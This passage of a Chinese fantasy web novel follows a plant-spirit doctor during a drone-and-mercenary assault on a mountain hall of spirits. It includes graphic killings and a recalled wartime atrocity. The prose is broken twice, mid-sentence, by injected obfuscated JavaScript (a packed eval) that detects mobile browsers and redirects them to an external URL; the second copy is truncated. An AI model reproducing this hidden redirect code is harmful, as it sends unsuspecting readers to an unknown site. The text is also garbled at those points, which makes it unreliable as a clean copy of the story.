所以……鹿野是不是找人给我下降头了? 真吓人。回头查查。 “来帮我看看手吧,阿竹。” 大松并不知道我此刻在胡思乱想什么,更不清楚我在无法抑制地思念一个千里之外的挚友。 他只是抬起仅存的右手,面色严肃中带着几分不易察觉的亲切意味,向我招招手。 早年我加入妖灵会馆势力时还是个普通卑微的小妖精,因此在【流石会馆】里待了五六年,学会了一些基本生存技巧才离开。至于鹿野这奇女子则是后来我去总馆那边参加每年的集体培训时才认识的。 所以早在最初,大松馆长就很照顾我了,完全可以看做是我的半个师父。或者说,兴许是知晓草木系妖精生存不易,他一直都很照顾弱小的妖怪们。 长久以来,【流石会馆】聚集了很多草木系的同类和喜欢清净的小妖精,大家聚在一起清修和光合作用非常开心……嗯?怎么听起来像是什么草系宝可梦的道馆一样。 “来了来了。” 我连忙扯出一个嬉皮笑脸的笑容,快步奔过去,然而脚步却在下一刻停住了。 不仅是我察觉到四周那不再遮掩的种种异常,在场的所有人都抬头看向某个方向。 那是山外的入口。 风变了。 我的脸色也变了。 因为在感知中,前一秒还在“没任何问题”的旷野环境,在这一秒齐齐的向我传递出全新的警示意味。 【草木皆兵】 这片大地如是说道。 5. 先用后付 事实上,直到这种“草木皆兵”的警示从四面八方传递消息而来,我才意识到先前那看似风平浪静的“一切正常”消息是多么虚假。 【流石会馆】可是位处于人迹罕至的深山老林之中,就算没有外敌袭击,平日里也会有本地的一些凶猛野生动物四处游荡。 当然,这份“凶猛”是针对普通人而言,对妖精们可构不成多大威胁,所以会馆方面顶多是用阵法驱赶这些野生动物离开而已……然而问题在于,先前此地的草木们完全没有提示我这方面的消息! ——也就是说,有人提前屏蔽了大自然这方面的消息。 是了,【流石会馆】常驻成员超过七成都是草木系妖怪。 万一这方面的屏蔽消息没做好,那边敌人一进入山区,这边的妖精们就全部收到自然界的通风报信了,那还袭击个鬼啊。 所以会是谁干的? 我眉头紧锁地抬头看向不远处,看到有人试图释放紧急通讯符箓,以及其它尝试沟通外界的行为,全都毫无用处。 掏出手机看了一眼,信号那一栏显示着冷冰冰的“×”无信号字样,明明我刚刚来的时候还有微弱的5G信号来着。 看来无论是自然界的信号,还是人工的信号,早已被敌人尽数屏蔽。 能悄无声息做到这一点的敌方,难道会是——人类吗? 毕竟很多妖精连上个世纪的《录音的基本原理》都不懂,更别提手机信号这种看似虚无缥缈的东西了。 可是如果仅仅是人类的话,他们寻常的热武器又怎么能给妖精轻易制造出这般规模的致命伤? 还是说……有妖精背叛了族群?这个念头让我背后的冷汗都冒出来了。 扭头看向大松馆长等师徒三人,我注意到他们脸上那不约而同浮现出的惊异与愤怒表情,想来他们的猜想也与我类似。 ……久违的高速思考方式让我感觉头有点痛,太阳穴突突的跳得厉害。 可恶,脑子好像要长出来了。 我平生不爱动脑子,记性也差,各类补品吃过不少,没啥太多改善。遇到疑难杂症需要思考治疗方案时,通常都是力大砖飞的结果,我也不知道怎么的就把病人给治疗好了。 更何况周围有一堆聪明的小伙伴,他们自然会替我思考解决问题。 但这次好像没法摇外置大脑过来帮忙了! 没等我抓住脑海里那一闪而逝的记忆尾巴,下一秒,成百上千台漆黑的无人机嗡嗡作响着从厚实的乌云背后钻出。 明明是没有生命的器具,偏偏按照提前设定好的编程顺序化作了遮天蔽日的机械风暴,肆无忌惮地在【流石会馆】的上空各处挥洒着闪亮的雷霆。 每当有人造的雷霆电光闪烁着砸下,就伴随着妖精们不间断的惨叫声与怒号,风里的血腥味愈发浓烈,伴随着寒冷的气息灌入我的口鼻。 更令人揪心的是整个地区的无主灵质含量正在急速飙升,让人一度出现类似“醉氧”的感觉……这意味着会馆里的妖精们正在快速阵亡! 这一幕让我有些眼熟,似乎在哪里见过。 我的眼角肌肉抽搐,不得不短暂闭上眼睛才能缓解那种头疼欲裂的既视感。 不对,不对,在那埋葬了过往的记忆深处,我一定见过类似的场面! 我……我到底……忘了什么? “岂有此理!” 待我重新睁开眼,看见明月面色铁青的拔出武器,扭头对大松说道:“师父,我去看看!” “且慢。”大松馆长开口,然后郑重地看向我,“阿竹,麻烦你帮帮这小子。” “好。” 强忍住不适感的我没有在口头上推辞,也没有任何废话,时间紧迫,大松先生因为是了解我的能力才会这样说。 于是我抬起右手,对着那少年屈指,虚空一弹。 什么都没发生。 但我点了点头:“可以了,去吧。” 明月:? 他虽然一头雾水,但也没什么时间感知自己体内的细微变化,当即纵身跃下高台,奔向枪林弹雨最密集的地方而去。 我发现一旁年纪更小一点的清泉盯着我缩回来的右手,眼睛一眨不眨,顿时冲这妹妹笑了:“你看到什么了?” “阿竹前辈你的一片指甲没了。”清泉脆生生地回答,“为何?” 她看起来完全无法理解我为什么要在战前拿指甲打他师兄,尤其还是她师父特意叮嘱的。 “眼力劲不错。”我夸奖道,然后也拿另一片指甲弹了一下她。毫不意外,我的这片指甲同样悄无声息地消散。 清泉:?? 【发生了什么。】我看到她脸上明晃晃的写着这几个大字。 而我缺失的两片指甲已经以肉眼可见的速度重生出来了。 “放心吧,清泉,阿竹不会害你们的。”大松馆长显然没有什么心情来解释这件事,他现在急着要去下面摆平混乱。 然而没等他迈步,忽的神色一变,看向先前弟子明月离去的方向——而我是同一瞬间脸上的血色褪去,整个人直接毫无征兆地往后重重砸在地上,仿佛有看不见的子弹在先前一下子贯穿了我的躯体。 好痛! 在总馆医院里当体制内社畜医生养尊处优了那么多年,到头来还是逃不过战地医生的命运吗…… 这一摔反倒是让我的头疼缓解了些许,一时间甚至有点想不合时宜的笑两声。 清泉有些慌张地想要过来搀扶我,她真是个善良的好孩子。 但作为一只血条很厚的奶妈,下一秒我就若无其事使出一个鹞子翻身,重新跳起来,口里不忘大声嚷嚷:“oi!明月阵亡了,对方有高手!应该还有人类狙击手的存在!” 是的,有狙击手出没,对方占领制高点,居高临下使用特殊弹药,一击贯穿了明月的胸膛,干净利落地就像是手术台上切下病灶的那把小刀。 ——这是我同步感知到的“死亡”现场。 这也是导致我刚才不慎扑街的真正原因,并非是脚滑没站稳。 “我也感知到了,他的灵质气息在一瞬间消散。”大松的脸上全是肃杀之色,“我去解决他们!” 清泉那双似乎会说话的大眼睛里分明有水光泛起:“可是,师兄他……” “回头再说。”大松以一种冷酷决绝的姿态打断她的疑问。 清泉似乎还想说什么,可最终还是听从了自家师父的命令,咬着牙闭上嘴。 兴许这孩子是为我们提起她的师兄阵亡这件事居然还能保持那么平静的态度感到无法理解,但现在真的没时间过多解释。 “弹指甲”当然与我的个人能力有关,但我的能力并非只有到处弹指甲这一项。 大松馆长豁然从蒲团上站起身,黑白相间的长发披散在身后,空荡荡的左臂衣袖如细长的战旗一般在风中猎猎飞舞。 我冲过去,一把拽住他的衣袖,说话间不自觉地带上了几分哀求意味:“大松先生,十秒钟!我只要十秒钟就能给您生出一条临时使用的左臂!” 这种临时产品当然不是病人原生的正常手臂,是我使用自己的能力和病人少许血肉共同生出的“草木手臂”。 尽管没法使用很久,但撑个把钟头的高强度战斗使用是完全没问题的。 这技术我是真的熟练,早年跟不同小队出外勤,偶尔会出现断肢残疾的负伤情况——队友们通常把断掉的原装货扔给我保管,然后由我给他们在现场手搓新的生物义肢出来。 回头安全了再给人组装回去。 一点后遗症也没有。 鹿野早年的外勤作风也是非常凶猛不要命的打法,眼睛里往往只有任务目标,其它玩意儿包括她自己的小命都不重要。 但常在河边走哪有不湿鞋,受伤濒死之事也是难免。我只好苦哈哈地追着她到处跑,免得一不小心这人就领便当下线了。 结果她仗着有奶妈在,做任务更加不要命了……唉,我是不是太宠她了。 啊,对不起,好像又走神了。 北境肃杀的寒风在提醒着我场合不对,然而大松先生低头看着我,不同于面上的愤怒和肃杀神色,他这一刻的目光很慈爱而悲悯。 妖精都是天生地养的聚灵之物,没有生物学上的父母。 但我想,如果我能有父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052239|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,希望会是他这样的人。 “谢谢你,阿竹,但是不行。”他郑重的拒绝了我的义肢生成建议。“就算是替代品,我也不能用。” “我刚才也确实想过这个问题,但敌人的情报里我今日应该依旧是独臂状态,倘若用了替代品……他们就知道你来了。” “这……” 我愣住了。 身为医生的我只是单纯的想着给他治病,想着去帮忙救人,完全没想过自己是否应该出现在这里。 对啊,正常来说,我这个时间点还在总馆里上班呢。 ——竹茂,是个今天下午不该出现在【流石会馆】的总馆医生。 “阿竹,我们必须保护你的踪迹。所以我不能接受你的任何治疗手段……从目前会馆遇袭的情报泄露情况来看,敌人群体里必然有侦查高手,对方一眼就能看出这是你干的。”大松馆长语速极快地说着,同时盯着我的眼睛询问道,“今天你是悄悄翘班过来的,肯定没走传送阵。还有谁知道你过来?” 大松先生真了解我,就知道我热衷于一切不走寻常路的方式。 “鹿野。”我不加思索地回答。 虽说当时吃饭在人来人往的【粤东会馆】谈论此事,兴许会有闲杂人旁听。 但我也知道翘班这事儿不太光彩,因此特意用了“传音入密”的私聊技法,没敢声张“嘿害嘿大家听好了我下午要翘班啦”之类的骚话,只告诉了她一人。 大松愣了一下:“我跟她不熟。可信吗?” 我听出来了,其实大松先生想问我的是“鹿野会出卖你的行程吗”“她会背叛你吗”这种颇为敏感的问题。 可是我能理解,兴许是【流石会馆】的遇袭让他如今不敢再轻易相信任何人,生怕有内鬼混杂其中。 但对我而言,这个问题简直是不需要答案。 “她的命就是我的命。”我轻声说。 我说出这句话时,脸上一定是露出了发自内心的喜悦微笑,不然一旁的清泉也不会露出那么单纯震撼的表情瞪着我,原本死死紧抿的嘴巴甚至无意识地张开了。 这傻孩子一定是被我和鹿野真挚纯洁的友谊给吓晕了吧,哈哈,只要你够努力,以后也可以拥有类似的宝贵情谊。 大松似乎有些欣慰,却又有些说不出的微妙:“很好,注意保持自身隐匿,去救人吧,记得换张脸。” “至于我……不必担心,我不会输的。” 大松说着抬起手,像是想要如小时候那样摸摸我的头顶,但最终,他只是沉沉地拍了一下我的肩膀。 然后带着清泉与我擦肩而过。 一切都拜托你了。我完全领悟了这个男人没说出口的言语。 看向他们急速远去的背影,我犹豫了一下,还是抬起手,对准了大松馆长的背后,虚空一弹—— 能力【生灵系·命源】,发动。 我的本体虽然是一颗随处可见的杂草,御灵系为【木】。 但我的【生灵系】能力却很有意思。 其名为【命源】,我可以任意施加或者剥夺指定目标的生命力。 很多人以为这个【命源】能力有上限,比如说一次性不能同时对十人以上的人数施加。可是更准确的来说,我假装它有上限。 但其实它没有。(小声.jpg) 对于我来说,杀人和救人一样简单,就好像是两位数以内的加减法数学题,哪怕是我这种直觉生物外加半文盲都能轻松上手。 之所以选择当医生,纯粹是比较有成就感,感觉能多积攒点功德来抵消我平日里的缺德操作。 嗯,我知道自己平时很缺德,给周围的亲朋好友增添很多麻烦,所以没关系。 救人没关系,杀人也没关系,只要能够咬住牙活下去就好了。 因为每个妖精的一生,也就这一次。 然后,我的右臂自手肘以下的所有血肉在刹那间化作飞灰! ……这就是,对大松馆长这样的强者直接施加【命源】的代价,只能由我这个施术者提前支付的代价。 接下来,我便与持有此能力的所有人同在。 生死与共。 6.晚安 伴随着我施加了【命源】的那虚空一弹,大松先生的脚步稍微迟滞了一瞬,但他依旧头也不回地冲进了下方战场里。 好,加上了。我安心了些许。 我知道先前直接提议施加的话,大松肯定会拒绝,因为在他看来我的力量是有限的,鄙人又不是什么当世仙神或者那位无限大人,出门能当核武器的那种。 倘若我对他施加了【命源】的话,我可能就没有太多余力去照顾其他弱小的妖精们了。亦或者大松馆长觉得给弟子加【命源】可以,但给他用就纯属浪费,因为他根本不会输。 可是大松先生你别那么骄傲啦,人家摆明车马冲着你来嘛,万一呢对不对…… 况且之前不也说了吗?士别三日,别拿以前的老眼光看待我的新水平咯。 话虽如此,断了半条手臂的剧痛依旧让我的额头上都冒出了几滴冷汗,然而区区残疾伤,我只要5秒钟就能重生出来。 5秒后,当失去的手肘以下部分重新长出来时,我也不再是原本那副休闲短袖加裤衩的下班社畜模样——站在原地的总馆基层医生已经变成了一个面庞消瘦,个头瘦高的路人脸女妖精。 比较特别的地方在于原本黑绿相间的短发如今化作了一头如火焰般的红色长发,同时穿着一件遮蔽身体的深绿色宽大斗篷,看起来就不像个会说“你好,吃了吗”的良善之辈。 ——其实这斗篷的本质依旧是短袖和裤衩,我只是在外观上修改了它们的视觉效果。 我也不知道为什么会捏这么一个红发女妖的外观,想捏就捏了。 换张脸嘛,谁不会啊。 ……不对,好像很多妖精不会这招。 幸亏作为一个精通摸鱼技巧的合格社畜,“改头换面”是我非常感兴趣的课程,单从“植物的光学模拟出真实衣物质感”这点就可见一斑。 而且我的换脸技术不光是改变容貌、身高、气味这些最基本的讯息,甚至可以暂时改变灵质的本质气息,模拟混淆出其他人的灵质气息,让追踪者产生错误的判断。 “啊,差点忘了这个。” 我抬起左手,食指抵住自己的下巴,根根绿草从我的指尖绽放开来,顺着面庞向上攀爬,迅速在我的脸上交织凝固成了一张黑褐色的木质面具。 根茎交错的木质面具青面獠牙,头生双角,对着一切敌人都怒目而视,宛若地狱里爬出来的鬼物。 “用了两张脸,应该够了。” 确认面具没问题后,我彻底满意了。 如今大松先生他们都出发去平息混乱,我也不愿继续在这儿磨磨蹭蹭地拖时间。 当我跃下高台时,地面上骤然生出几根柔软粗壮到堪比树木般的绿草接住了我……哎哟,这个差点也忘记换一下外表。 没办法,我在总馆行医长达二十五年,手下流水线一样治疗过成百上千的妖精,肯定有很多人认识我招牌的小绿草。 经常套马甲的朋友都知道,不仅自己要套马甲,能力也要一起套。 我心思一动,环绕身侧的根根柔软绿草的外表骤然变硬,翠绿化作黑褐色,表面甚至还长出了数不清的毒刺——行了,现在这些“藤蔓”可以去cos毒藤女的道具了。 准备好了,Go! 无数黑褐色的“藤蔓”在下一刻如蛰伏而起的怒龙撞开冻结的泥土,从底下冲出来,盘根结错地化作了一头行走在地的木系巨兽。 它张开木质大口,发出无声的咆哮,满口森然獠牙正在急速生长。 ——我的御灵系能力是【木】,召唤出植被化作我想要的模样是非常简单的事情。 我随手抓住了这木龙体表上一根凸起的恐怖倒刺,脚下附近的位置恰到好处地延伸出一块平台,我像是搭顺风车一样任由“藤蔓之龙”带着我横冲直撞地赶去救人。 “藤蔓之龙”的体积够大,看着也吓人,能很好地替我和其他小妖精吸引火力。 很快,我出现在第一个重伤散灵、即将濒死的小妖精面前,我压根儿没下车,就这样一手抓着木质倒刺把手,空出来的另一只手对着她屈指一弹……连四分之一的单片指甲都没有被消耗掉。 感觉就好像被指甲钳稍微修剪了一下指甲。 还修歪了的那种。差评,我要投诉你们店的美甲师! 真弱。我颇为怜悯地想着。 “哒哒哒哒——” 近在咫尺的枪械开火声传来,金红色的枪焰简直都快直接喷在我脸上了。 “嗯?” 我挑眼望去,两个全副武装的人类士兵神色紧张,正在手持枪械的对挡在我们之间的草龙疯狂开火。 心念一动,藤蔓草龙甩尾,直接将这两个敌人甩上天去。 这还没完,只见原本组成“龙尾”处的七八根藤蔓豁然张开,离开龙身表层,宛若大网一般直接将这两个半空中的敌人笼罩裹挟住。 半空中,他们骤然间发出了非人的凄厉惨叫和哀嚎,但在几秒内就被藤蔓吸收殆尽,直接尸骨全无,连作战服的布料都没剩下。 这吃人的藤蔓已经将一切有用没用的物质都给活生生吸收了。它的颜色变得黑中泛血,愈发具备坚韧和活性的特质,宛若什么恐怖故事的森林触手怪一般。 不好意思,我们这个故事里暂时没有搞颜色的圣女哈。 我对此见怪不怪,草龙则是迅速收拢了四散的藤蔓尾翼,再次游走于枪林弹雨之中 “嘶。”我摸了摸自己隐隐作痛的太阳穴,叹了口气,没再搭理那个昏迷小妖精,自顾自地指挥木龙继续前进救人,“到底忘了什么呢?怎么就是想不起来。不会是鹿野欠了我一大笔钱然后把我打得失忆了吧……” 轰隆! 前方有一架坠落失事的无人机砸入林中,溅射起如炮火般的爆炸,火光冲天,热浪袭来,枪械开火的声音混杂着妖精们的呼喊和求救隐约传来。 我正要让草龙过去帮忙,却听见侧后方的断裂高台上骤然有强风袭来,是有人从上方向我居高临下地开枪! 如此近距离,无法躲避那些子弹。 接连不断的枪鸣声震动耳膜,仿佛是爆裂的金属洪水向我涌来。 恍惚间我像是回到了某个遥远的过去,似乎有蒙着铁皮的战机呼啸而过,投下弹药,将眼前的一切人和物尽数化作熊熊燃烧的火海。 “战争啊……” 我轻声呢喃着,周身的“毒刺藤蔓”仿佛不要钱一样的直接升腾而起,它们层层叠叠、前赴后继地挡在我与那些致命的子弹之间,直接凭空生出了一面厚实坚硬的植物墙壁。 与此同时,蛰伏在地下的藤蔓找到了那几个袭击者的位置,直接穿破砖瓦结构的建筑,扎穿高台,将那几人瞬间捆缚起来,吊着送至我的面前。 他们顿时惨叫起来,没关系,可以理解,因为那迷彩服和防弹衣还挡不住我的植物毒刺,更何况那些“藤蔓”上是真的有致命又致幻的毒液。 我疑惑地地走到第一个人面前,看见是一张陌生的白人面孔。 不认识,也不是这个国家的人。 哪来的境外雇佣兵? 懒得去想这些了,因为四周噪音和硝烟弥漫的原因,现在我头疼得快要裂开了。 有什么东西就要浮出记忆的水面…… 我将手虚虚地按在了那人面孔上几厘米的位置,他脸色吓得苍白,正要开口咒骂我,却在下一刻不受控制地张大了嘴巴,光洁的面部皮肤上出现道道苍老的皱纹。 有某种力量正在急速地从他体内流逝,灌入到我的手掌里。 【生灵系·命源】将这个敌人的生命力尽数剥夺,然后,转移给我。 托他的福,我缺失的指甲缺口一下子长好了。 而这个人也死了,原本年轻力壮的小伙子几秒钟急速苍老死亡,最后连白骨都被那些藤蔓一下子碾碎吞噬掉。 眼看同伴以这样的诡谲死法火速领便当,这种恐怖电影的情节顿时吓得剩下那几人大喊大叫起来。 喊啥呢?外语?听不懂。 好像以前也有人对我这样喊过,声嘶力竭,涕泗横流。我努力思考,总算想起了一点点声音。 【“……求求你,别杀我……我的小女儿还在家里等我回去,我去年参军的时候那孩子都还没出生!她还不认识我这个父亲!求求您了鬼神大人,您发发慈悲心吧……”】 那时候我是怎么回答来着? 哦,我说,可是你们把这里的孩子串在刺刀上,放在火上活活地烤死。而孩子的母亲就在一旁被绑着看着,最后绝望到咬断了舌头自尽……你们的慈悲心呢?你们不都是人类吗?为什么要用这种我看了都要落泪的方式去杀害自己的同类和幼崽呢? 然后我以同样的方式对待了那些畜生。 ——我的慈悲心,素来只用在值得使用的人身上。 至于现在嘛…… 我抬眼看向那个面无人色的士兵,也不管他听不听得懂,只是低声说:“抱歉,都这个时间点了,医生早就下班了。你看这事儿闹的。” 下一刻,他们的生命力尽数涌入我的体内,而其本人也只剩下些许来自衣物的人造纤维落在地上——藤蔓不喜欢吃这个。 没关系,因为我现在不救人了。 我就想杀人。 杀杀杀杀杀,把眼前看到的一切敌人全部摧毁殆尽,吸走他们的生命力,连骨头渣滓都不会留下! 我从医七十余年,坚持笑对沙雕人生,还真以为自个儿改了性子。 没想到一朝大开杀戒,才想起自己曾经也是握住无血无泪杀人刀,转战千里就为了心中一口郁气不吐不快的非人狂徒。 记忆里残破的封印晃动得愈发剧烈,眼前的火光在风里肆虐,不远处的人造雷霆在咆哮,我胸中的那股暴烈之气却愈发浓烈。 “哈哈哈……啊哈哈哈哈哈!” 想起来了,都想起来了,那是招募我加入会馆的长者特意请高手为我设下的记忆封印。 我清晰地听见它碎裂的声响,像是名贵的金玉落在地上,摔得稀巴烂时发出的惋惜之声。 但我忍不住哈哈大笑起来。 潮水般涌入脑海的记忆再度浮现,那是被尘封和善意篡改的人生前五十年往昔,原来我以前是这么一个疯子……然而眼前被无情高效屠戮的寻常弱小妖精们,与我在一百年前所亲眼看见的种种人间惨剧,又有何区别! 火焰,雷霆,风雪,枪械……太多了,摧毁一个生命的威胁实在是太多了。 对于我这样路边随处可见的杂草而言,当然更是如此,什么人都可以过来踩我一脚,就连路边的狗都可以在我的脑门上肆意撒尿拉屎。 但我最初能活下来,也是依靠着人类。 是的,我是被人类家庭养大的一棵小小杂草。 那户人家很有趣,男主人学富五车却又喝过洋墨水,女主人也是具有时代新思想的进步女性。要不是他家小女儿觉得我绿绿的很可爱,坚持要养我,我大抵早就死了。 他们是我平生见过最有意思的人类之一,我在院子里成日听男主人教他儿子关于如何成为大夫的古老知识……只可惜后来战争来临,那些可怜人来不及逃去防空洞,在我面前尽数被□□活活烧死,而我当时甚至都无法化形爬出来救他们。 所以,我并非憎恨人类,而是痛恨着那些根本不配称为“人”的人皮畜生罢了! 倏然间,我不笑了。 其实我也不是那么喜欢笑的。 只是有时候没办法,不知道该做什么表情,只好笑一笑。好像这样就没有那么痛苦了。 此时藤蔓之龙看似迟缓实则快速地凑过来用脑袋蹭了蹭我,意思是“还不行动吗?” 我摸摸它硕大狰狞的脑袋,以一种与上班时没什么两样的温和语气说道:“去大闹一场,吸引火力。” 藤蔓之龙看看不远处已经在林子里蔓延开的火焰和硝烟,有些迟疑。 “别怕。”我对我的造物说道,“你本从土中来,自然要回土中去。去替我吸引那些敌人的目光吧,我有更要紧的事情去做。” 这魁梧忠诚的造物最后深深地看了我一眼,不再犹豫,周身的藤蔓滚滚向前滑动,以一种无法阻挡且无所畏惧的姿态冲入林中,撕碎了它所遇见的每一个敌人。 我看见有数道手臂粗的火箭筒弹药重重地打在它身上,炸开巨大的缺口,却又在下一刻被密密麻麻的藤蔓蛄蛹着弥补这“伤口”。 无人机机组盘旋着释放雷电,这巨兽身披无法熄灭的烈火和阵阵电流,硬是顶着枪林弹雨撞翻了敌人的阵地。 不少小妖精趁着它的掩护赶忙躲闪逃跑。 响彻山谷的轰鸣声夹杂在众多杂音中并不算起眼,但我猛地把脑袋往后一偏,顺带近距离地欣赏了一下刚才那差点打爆我脑袋的特种弹药。 嗯?这弹头的材质有点奇怪……不是金属吗? 正是因为这一发狙击弹的出现,我的脑海中自然计算出它的大致射程和轨迹,我顺着猜想扭头一看,果然发现远处高山密林里似乎有狙击镜的光芒在闪烁。 嗨呀,一百年前他们也是这样对付我的。 真是熟悉又亲切。我忍不住对着狙击镜后面那个士兵笑了一下,可惜,被我脸上的木质面具挡着脸,他大概无法欣赏到我的真容。 噗嗤! 山上覆盖着伪装布的狙击手被不知何时地底下爬过来的藤蔓给扎个对串,直接把整个人给拖进地里消失了。 忽然间,我心口一阵剧烈的疼痛传来,仿佛被人直接捅了一刀。 啊……是先前那个指甲盖小朋友终于撑不住伤势的“散灵”了。 但我并不惊慌。 因为此刻的她,已经出现在了我的灵质空间里,化作一个小小的草茧漂浮在那参天密林一般的万千草丛之中。连带着一旁晃悠的草茧里也沉睡着另一个据说阵亡的人,明月。 不装了,告诉你们吧,我的能力【生灵系·命源】可以任意施加生命力和剥夺生命力,只要持有我血肉的人,我便可以施加这道能力。 这也是为什么我要事先对着清泉明月等人弹指甲的原因,都是【命源】的代价。 当【命源】成立,我就自动成为生命力集合的一个中枢机构。 我会想方设法的汲取四面八方的生命力,以此来维持自身那不断消耗的损失,从而达成一个微妙的平衡。 而在很久以前,作为一个喜欢摸鱼和伪装正经上班的社畜,天天研究如何翘班不被发现的我给【命源】开发出了一个好像没什么用处的新玩法。 ——装死。 当【命源】生效时,这门法术会在一瞬间令持有者陷入“非生非死”的特殊状态,然后在外界模拟出“散灵”的运作,同时将人直接“偷”到我的灵质空间里藏起来。 于是这些可怜人的生死就在我的一念之间啦!桀桀桀!我要他们都给我交赎金才会放出来! ……开玩笑的。不用交赎金我也会放人的。 但说实话,挺好玩的。 只是装死这种事呢,装多了的话,大家都知道你这个人不诚实,属实是狼来了的故事,连散灵这种大事都能拿来忽悠,万一到时候没有人参加我的追悼会就很尴尬了。 所以我一般不用【命源】装死,只有极少数最亲近的人才清楚,比如鹿野,再比如大松先生。 大松馆长之所以会知道,是因为这个玩法最初就是他早年指点我的研究成果之一。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我咧开嘴,在敌人惊恐的目光中自顾自地大笑着纵身跃下,徒手向后掰断了他脆弱的脖颈脊椎骨和原本护住颈部的防刺护甲。 赤红的血溅了我一身,它们看起来与我此时的发色一致。 就好像患者引流的脓血有时候不小心会喷洒在我的手上和身上一样,有种难以言喻的腥臭恶心感。 在战斗中,这些士兵们无法抑制恐惧地向我抵死开火……怎么感觉又有人被我吓疯了?是我错觉吗。 好吧,掉SAN(理智值)也怪我。 但是没关系,我现在正是缺生命力的时候,“同步致命伤”的副作用已经开始在我身上体现,搞得我时不时踉跄一下,吐两口灵质,跑着跑着突然无中生有的被爆头然后摔了一跤之类的。 所以面对这些送上门来的敌人,我自然是一边赶紧让自己的脑袋重组回来,一边在心里大喊着“欢迎光临”,接着尽数笑纳。 不过还是不够。 不够不够远远不够! 以至于我所过之处,堪称是寸草不生,连地底下那些蛰伏过冬的一点点微生物生命力都被我吸光了! ……希望回头大松先生不要责怪我把他的地盘化作了几十年都难以恢复正常的焦土。 说真的,搬家吧【流石会馆】。 期间,在到处施展救援的疯狂移动过程中,我豁然察觉到了路回的灵质消散。 来迟一步,这只秀气的小白鹭已经先我而去了。 ……再也不会有这样的傻孩子对我那套“去码头整点薯条”人生哲理深信不疑了。 其实麦当劳的鲜炸薯条要在现场吃才好吃,从城里打包回来的话,早就变得冰冷、潮湿,就好像我此刻的心情一样。 可他活着的时候,还是用第一次打工的工资请我吃了打包的薯条。 说不出是痛苦还是什么别的情绪,兴许是生和死的界限让我麻木,我只能自嘲地笑着摇摇头,继续甩动自己的手臂,直到两侧衣袖尽数空空荡荡,再也无法重生出新的血肉。 我大口大口地喘着气,汗水滴落在地面,汲取生命力的速度眼看赶不上消耗了,真麻烦…… 【“别杀了!阿竹,停手吧!”】 大松馆长的传音突然飘入我耳朵里。没想到他在百忙之中还抽空关心我的情况。 我则是乐呵呵地回答他:【“抱歉啊大松先生,想起了一些事情,稍微有点太开心了。”】 但他并没有被我故作轻松的语气所欺骗,反而厉声传音道:【“不要被过往的痛苦和仇恨所蒙蔽心灵!救人才是你的本职工作!阿竹,你现在是一个合格的好医生,别再握住屠刀就舍不得松开!”】 【“……”】 我一时间沉默着没有回答,顺手踢飞了一个敌人的手里枪械,外加一个耳光抽下去,还没等他的躯体砸在地上就被我吸收殆尽了。 【“阿竹……这世间杀人的技法千千万万,总会推陈出新。但是救人一命胜造七级浮屠的道路,也就那么一两条。”】 大松馆长在私聊频道里语重心长地对我说,我头一回惊讶地意识到,他甚至会为我这样整天都在走极端的妖精感到骄傲。 因为我是从【流石会馆】里走出去的孩子。 【“去走正确的道路。你之前不是一直做得很好吗?你不是因此认识了很多新的朋友,很多重要的人吗?”】 重要的人? 我已经没有……不对,我有。 想起那个人,想起她的蓝眼睛,我整个人就好像被一桶冰水淋了一身,总算清醒过来一点。 鹿野。我在心里念着她的名字。鹿野。 好奇怪,我突然很想见你。不知道这次事件之后还能不能见到你。 你会对我说什么呢?你看到我那沾满死者之血的手,还会毫不犹豫地握住它吗? 真悲伤啊。 一想到你对我说的最后一句话竟然是骂我,以及拿账单砸我脑门,我就替你感到深切的悲伤。因为以你的性格绝对会自责到死。 但是没关系,我们是好朋友嘛,就该互相原谅和包容……下次见面再请我吃饭吧。 【“……太好了,我现在冷静下来了。”】我在最后颇为艰难地回答道。 我和大松馆长就这样结束了这段短暂但又重要的通话。 此时成百上千的痛苦已经开始施加在我的身上,我都快维持不住“斗篷”衣物的光学模拟效果了,这意味着我的灵质空间里的“客人”们数量越来越多。 用某个替身使者的话来说就是“不好意思,下水道已经满员了”。 当然,在外人看来,那些“散灵”的妖精都尽数阵亡。 我头一回组织那么大规模的装死活动,真是太累了,就好像疲惫是从骨头缝里钻出来的,哄着我去睡觉。 敌人的援军正在源源不断地涌来,而我如今同时肩负着那么多人的性命,责任重大,偏偏两手空空,急需更多生命力,于情于理都不是留下来跟敌人硬拼的道理。 高情商说法:不跟敌人硬拼。 低情商说法:再不跑去吸两口的话,我就要死啦!!! 好,那么……我去也! 失去双臂的我纵身高高跃起,植物义肢早已替代了原本手臂的位置。 我甩掉所有在身后追着我的枪弹,紧接着,全身上下的躯体在半空中系数崩解开来——没办法,留一只脚我都怕它自己卷着刀去杀人——借助愈发猛烈的风雪吹拂和无数灵质气息的混淆效果,我彻底隐匿于这片覆盖霜雪的大地。 我的最后一缕意识则是彻底深埋入土里极深的位置,就如同一颗冬眠的草种,等待来日开春时的复苏。 下一刻,整座山脉的草叶、枯木和一切能有生命力之物,尽数凋零。 它化作了焦土。与周围那些遭受各种弹药和能力轰炸的山头没有什么两样。 7.临终托孤 一个阅前提示:暂时开始使用第三人称啦。 ………… …… 当看着面前的大松颓然倒地,死不瞑目地趴在地上,一点点的闪光灵质从他背后飘起,这个妖精的身形也逐渐变得虚幻、崩解。 很显然,这是“散灵”。 对于天地灵性所化的妖精一族而言,这就是死亡的方式。 “大松啊,要我怎么评价你这一生才好?” 那身穿黑袍的幕后黑手收起了武器,他慢慢地踱步过去,在这片不知何时已经覆盖有薄薄一层冰霜的破碎地面上踩出了一行孤寂的鞋印。 但紧接着又有新的风雪将那空缺所掩埋。 男人抬起手,将大松遗落在地的一些物件招来,其中就有大松馆长生前用得最好的法宝——【流石甲】。 